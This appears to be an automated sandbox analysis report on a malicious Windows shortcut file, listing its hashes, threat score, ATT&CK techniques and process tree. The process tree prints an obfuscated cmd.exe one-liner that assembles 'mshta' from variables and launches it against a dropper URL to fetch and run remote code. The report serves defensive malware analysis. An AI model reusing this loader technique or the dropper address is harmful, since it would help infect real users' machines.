2f98be8d95cf1f3d862a361ba5e6bfa160a15069471fb2e56089387d688d05ff

Analysis

max time kernel
148s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:28

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General

Target
DOC-BP9Y8B.lnk
Size 1KB
Sample260803-qq281aac45
SHA256 2f98be8d95cf1f3d862a361ba5e6bfa160a15069471fb2e56089387d688d05ff
MD5 67e03d0a4e7252c4b668f8db5f60339e
SHA1 908983f736a4f2bb7cb9bd2725e32e3da52347a8
SHA512 7959b9563f602301dd36acc2b71f0206046b56f48083314b4663541bc31b989d8980fa00c839c33c17676f941653f2e73cd59faa5d1483d8abdb5386370771db
TLSH
T1AF317B503FFA0618F3F38F7394BBAB6089BFB956AE20C61D4141464C1072A14E1BAF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4256	cmd.exe
1760	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4256 wrote to memory of 1760	4256	cmd.exe	90
PID 1760 wrote to memory of 1520	1760	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BP9Y8B.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4256
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set pcXu=msh&&set BGbbY=ta&&start "" !pcXu!!BGbbY! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:1520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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